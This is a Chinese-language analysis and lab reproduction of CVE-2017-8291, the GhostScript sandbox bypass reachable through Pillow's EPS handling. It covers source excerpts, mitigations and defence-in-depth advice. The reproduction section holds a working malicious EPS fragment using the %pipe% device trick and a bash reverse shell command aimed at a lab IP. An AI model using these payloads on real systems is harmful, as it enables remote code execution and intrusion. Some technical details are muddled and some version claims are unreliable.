CVE-2017-8291源码分析与漏洞复现(PIL远程命令执行漏洞)
漏洞名称:PIL/GhostScript 沙盒绕过导致远程命令执行
CVE 编号:CVE-2017-8291
CVSS 评分:9.8
影响范围:
- PIL/Pillow:所有版本(依赖GhostScript处理EPS文件时)
- GhostScript:≤ 9.21(含安全模式绕过漏洞)
修复方案:
- 升级GhostScript ≥ 9.22(修复沙盒绕过)
- Pillow ≥ 6.0.0 默认禁用EPS支持(需手动启用)
漏洞类型:命令注入 → 远程代码执行(RCE)
根本原因:
PIL/Pillow 处理EPS图片时调用GhostScript的gs
命令,虽启用-dSAFER
安全模式,但因GhostScript自身沙盒绕过漏洞(CVE-2017-8291),攻击者可构造恶意EPS文件触发任意命令执行。
一、漏洞原理与源码分析
1. 漏洞触发链
2. 关键源码定位
(1)EPS文件识别入口:PIL/EpsImagePlugin.py
# PIL/EpsImagePlugin.py
def _accept(prefix): # 通过文件头识别EPS(%!PS或二进制头) return prefix[:4] == b"%!PS" or (len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5) def ImageFile.open(fp): if _accept(prefix): return EpsImageFile(fp) # 交由EPS处理器
漏洞点:仅校验文件头,无视文件后缀(如上传evil.png
含EPS内容仍被处理)。
(2)GhostScript命令调用:EpsImageFile.load()
# PIL/EpsImagePlugin.py
def load(self): # 构建gs命令(含-dSAFER) command = [ "gs", "-q", "-dNOPAUSE", "-dBATCH", "-dSAFER", # 安全模式 "-sDEVICE=ppmraw", "-sOutputFile=%s" % outfile, "-f", infile # 用户控制的输入文件 ] try: # 执行命令(无输入过滤) subprocess.check_call(command, stdin=devnull, stdout=devnull) except: raise IOError("gs命令执行失败")
漏洞机制:
-dSAFER
本应限制文件/命令操作,但GhostScript 9.21存在绕过漏洞。- 攻击载荷:EPS文件中注入
%pipe%CMD
语法(如(%pipe%touch /tmp/pwned)
),gs
解析时将其作为命令执行。
(3)GhostScript沙盒绕过(CVE-2017-8291)
GhostScript解析.rsdparams
操作符时存在类型混淆漏洞:
% 恶意EPS片段
currentdevice null false mark
/OutputFile (%pipe%touch /tmp/pwned) % 注入命令
.putdeviceparams
1 true .outputpage
绕过原理:
.outputpage
操作符触发输出设备参数解析。%pipe%
前缀被识别为管道命令,GS将touch /tmp/pwned
传递给popen()
执行。- 补丁:GhostScript 9.22 在
base/gdevpipe.c
中禁用%pipe%
语法。
二、漏洞复现与利用方式
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8000,确认服务正常运行
命令执行
1.上传靶场目录中的poc.png
2.进入容器验证
- 发现创建了
aaa
文件
反弹shell
1.vim
修改poc.png
- 修改命令
bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
2.kail 开启监听
3.上传文件并验证
三、影响范围与修复方案
1. 受影响组件
组件 | 受影响版本 | 安全版本 |
---|---|---|
GhostScript | ≤ 9.21 | ≥ 9.22 |
PIL/Pillow | 所有依赖GS的版本 | ≥ 6.0.0(默认禁用EPS) |
2. 官方修复方案
- GhostScript:升级至9.22+,禁用
%pipe%
语法。 - Pillow:
- 6.0.0+:默认禁用EPS支持,需显式启用:
from PIL import Image Image.EPSImagePlugin.gs_windows_binary = r"C:\gs\bin\gswin64c.exe" # 手动配置路径
- 代码加固:添加EPS处理警告(需用户确认)。
- 6.0.0+:默认禁用EPS支持,需显式启用:
3. 临时缓解措施
- 禁用GhostScript:
apt remove ghostscript # Debian/Ubuntu
- 删除PIL的EPS处理器:
import sys sys.modules.pop('PIL.EpsImagePlugin', None) # 阻止EPS加载
- 文件上传过滤:
def allowed_file(filename): return filename.endswith(('.png', '.jpg')) # 禁止.eps后缀
四、漏洞启示与防御建议
1. 漏洞根源总结
- 深度依赖风险:PIL无恶意EPS处理能力,依赖外部工具(GS)引入漏洞。
- 安全边界失效:GS的
-dSAFER
被绕过,说明“黑盒依赖”不可信。 - 文件类型混淆:基于文件头的检测机制可被伪造。
2. 纵深防御策略
层级 | 防护措施 | 示例 |
---|---|---|
应用层 | 禁用EPS支持或使用纯Python解析库 | Image.EPSImagePlugin._accept = lambda x: False |
系统层 | GS以沙盒运行(Docker + Seccomp) | docker run --security-opt seccomp=gs.json |
网络层 | 隔离图片处理服务 | 独立容器无外网权限 |
运维层 | 监控异常进程(如gs执行sh) | Auditd规则:-a always,exit -F arch=b64 -F exe=/usr/bin/gs -F success=0 |
漏洞启示:
- 零信任文件解析:所有用户上传文件应在隔离环境处理,并剥离危险内容(如PostScript运算符)。
- 依赖最小化:避免引入外部命令行工具处理敏感操作(如Pillow 6.0+移除EPS默认支持)。
- 沙盒增强:即使依赖外部工具,也需叠加层防护(如Docker + AppArmor)。
- 持续监控:GhostScript等深层组件漏洞常被忽视,需纳入漏洞扫描清单。